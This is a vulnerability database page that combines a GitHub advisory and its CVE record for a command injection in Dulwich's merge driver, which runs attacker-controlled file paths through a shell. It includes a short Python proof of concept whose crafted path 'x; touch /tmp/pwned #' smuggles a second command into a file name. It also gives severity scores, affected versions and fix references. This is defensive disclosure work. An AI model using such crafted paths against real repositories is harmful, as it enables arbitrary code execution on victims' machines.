Vulnerability-Lookup

GHSA-9277-MP7X-85JF

Vulnerability from github – Published: 2026-05-28 22:29 – Updated: 2026-06-11 14:05

Summary

Dulwich Vulnerable to Command Injection via Merge Driver Path

Details

Summary

Dulwich's ProcessMergeDriver substitutes the file path (from the git tree, controllable by an attacker via a malicious branch) into the merge driver command via the %P placeholder and executes it with subprocess.run(..., shell=True). An attacker who can cause a victim to merge an untrusted branch can achieve arbitrary command execution by crafting malicious file paths.

Description

Type: Command Injection
Source: merge.py line 195 — path from merge tree (from repository content when merging untrusted branch)
Sink: merge_drivers.py lines 124–127 — subprocess.run(cmd, shell=True) where cmd includes path via %P placeholder
Impact: Arbitrary code execution when merging from a malicious repository. Requires the user to have a merge driver configured that uses the %P placeholder.

Resources

Repository: https://github.com/dulwich/dulwich
Vulnerable file: dulwich/merge_drivers.py (lines 119–129)

Proof of Concept

from dulwich.attrs import GitAttributes, Pattern
from dulwich.config import ConfigDict
from dulwich.merge import merge_blobs
from dulwich.objects import Blob

# Merge driver with %P (path) - typical for custom merge tools
config = ConfigDict()
config.set((b"merge", b"injectable"), b"driver", b"echo %P > %A")

patterns = [(Pattern(b"*"), {b"merge": b"injectable"})]
gitattributes = GitAttributes(patterns)

base = Blob.from_string(b"base")
ours = Blob.from_string(b"ours")
theirs = Blob.from_string(b"theirs")

# Malicious path from attacker-controlled git tree: injects "touch /tmp/pwned"
malicious_path = b"x; touch /tmp/pwned #"

merge_blobs(base, ours, theirs, path=malicious_path,
            gitattributes=gitattributes, config=config)
# => Executes: echo x; touch /tmp/pwned #
# => Shell runs: echo x, then touch /tmp/pwned

Fix

merge_drivers_shell_escape.patch

Severity

7.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

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JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "dulwich"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.24.0"
            },
            {
              "fixed": "1.2.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42563"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-28T22:29:22Z",
    "nvd_published_at": "2026-06-10T23:16:46Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nDulwich\u0027s `ProcessMergeDriver` substitutes the file path (from the git tree, controllable by an attacker via a malicious branch) into the merge driver command via the `%P` placeholder and executes it with `subprocess.run(..., shell=True)`. An attacker who can cause a victim to merge an untrusted branch can achieve arbitrary command execution by crafting malicious file paths.\n\n## Description\n\n- **Type:** Command Injection\n- **Source:** `merge.py` line 195 \u2014 path from merge tree (from repository content when merging untrusted branch)\n- **Sink:** `merge_drivers.py` lines 124\u2013127 \u2014 `subprocess.run(cmd, shell=True)` where `cmd` includes path via `%P` placeholder\n- **Impact:** Arbitrary code execution when merging from a malicious repository. Requires the user to have a merge driver configured that uses the `%P` placeholder.\n\n## Resources\n\n- Repository: https://github.com/dulwich/dulwich\n- Vulnerable file: `dulwich/merge_drivers.py` (lines 119\u2013129)\n\n## Proof of Concept\n\n```python\nfrom dulwich.attrs import GitAttributes, Pattern\nfrom dulwich.config import ConfigDict\nfrom dulwich.merge import merge_blobs\nfrom dulwich.objects import Blob\n\n# Merge driver with %P (path) - typical for custom merge tools\nconfig = ConfigDict()\nconfig.set((b\"merge\", b\"injectable\"), b\"driver\", b\"echo %P \u003e %A\")\n\npatterns = [(Pattern(b\"*\"), {b\"merge\": b\"injectable\"})]\ngitattributes = GitAttributes(patterns)\n\nbase = Blob.from_string(b\"base\")\nours = Blob.from_string(b\"ours\")\ntheirs = Blob.from_string(b\"theirs\")\n\n# Malicious path from attacker-controlled git tree: injects \"touch /tmp/pwned\"\nmalicious_path = b\"x; touch /tmp/pwned #\"\n\nmerge_blobs(base, ours, theirs, path=malicious_path,\n            gitattributes=gitattributes, config=config)\n# =\u003e Executes: echo x; touch /tmp/pwned #\n# =\u003e Shell runs: echo x, then touch /tmp/pwned\n```\n\n## Fix\n[merge_drivers_shell_escape.patch](https://github.com/user-attachments/files/27016503/merge_drivers_shell_escape.patch)",
  "id": "GHSA-9277-mp7x-85jf",
  "modified": "2026-06-11T14:05:16Z",
  "published": "2026-05-28T22:29:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jelmer/dulwich/security/advisories/GHSA-9277-mp7x-85jf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42563"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jelmer/dulwich/commit/e3331b3b3a122fc313460182f928f59723580b7b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jelmer/dulwich"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jelmer/dulwich/releases/tag/dulwich-1.2.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Dulwich Vulnerable to Command Injection via Merge Driver Path"
}

CVE-2026-42563 (GCVE-0-2026-42563)

Vulnerability from cvelistv5 – Published: 2026-06-10 21:47 – Updated: 2026-06-11 13:40

Title

Dulwich Vulnerable to Command Injection via Merge Driver Path

Summary

Dulwich is a pure-Python implementation of the Git file formats and protocols. Starting in version 0.24.0 and prior to version 1.2.5, Dulwich's `ProcessMergeDriver` substitutes the file path (from the git tree, controllable by an attacker via a malicious branch) into the merge driver command via the `%P` placeholder and executes it with `subprocess.run(..., shell=True)`. An attacker who can cause a victim to merge an untrusted branch can achieve arbitrary command execution by crafting malicious file paths. Version 1.2.5 fixes the issue.

Severity

7.7 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator (v2.0.3)

CWE

CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Assigner

GitHub_M

References

3 references

URL	Tags
https://github.com/jelmer/dulwich/security/adviso…	x_refsource_CONFIRM
https://github.com/jelmer/dulwich/commit/e3331b3b…	x_refsource_MISC
https://github.com/jelmer/dulwich/releases/tag/du…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
jelmer	dulwich	Affected: >= 0.24.0, < 1.2.5

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-42563",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-06-11T13:39:52.600433Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-06-11T13:40:14.907Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/jelmer/dulwich/security/advisories/GHSA-9277-mp7x-85jf"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "dulwich",
          "vendor": "jelmer",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 0.24.0, \u003c 1.2.5"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Dulwich is a pure-Python implementation of the Git file formats and protocols. Starting in version 0.24.0 and prior to version 1.2.5, Dulwich\u0027s `ProcessMergeDriver` substitutes the file path (from the git tree, controllable by an attacker via a malicious branch) into the merge driver command via the `%P` placeholder and executes it with `subprocess.run(..., shell=True)`. An attacker who can cause a victim to merge an untrusted branch can achieve arbitrary command execution by crafting malicious file paths. Version 1.2.5 fixes the issue."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "PRESENT",
            "attackVector": "NETWORK",
            "baseScore": 7.7,
            "baseSeverity": "HIGH",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "PASSIVE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "HIGH",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "HIGH"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-78",
              "description": "CWE-78: Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-06-10T21:47:14.927Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/jelmer/dulwich/security/advisories/GHSA-9277-mp7x-85jf",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/jelmer/dulwich/security/advisories/GHSA-9277-mp7x-85jf"
        },
        {
          "name": "https://github.com/jelmer/dulwich/commit/e3331b3b3a122fc313460182f928f59723580b7b",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/jelmer/dulwich/commit/e3331b3b3a122fc313460182f928f59723580b7b"
        },
        {
          "name": "https://github.com/jelmer/dulwich/releases/tag/dulwich-1.2.5",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/jelmer/dulwich/releases/tag/dulwich-1.2.5"
        }
      ],
      "source": {
        "advisory": "GHSA-9277-mp7x-85jf",
        "discovery": "UNKNOWN"
      },
      "title": "Dulwich Vulnerable to Command Injection via Merge Driver Path"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-42563",
    "datePublished": "2026-06-10T21:47:14.927Z",
    "dateReserved": "2026-04-28T17:26:12.083Z",
    "dateUpdated": "2026-06-11T13:40:14.907Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-9277-MP7X-85JF

Summary

Description

Resources

Proof of Concept

Fix

CVE-2026-42563 (GCVE-0-2026-42563)

Tags

Sightings

Nomenclature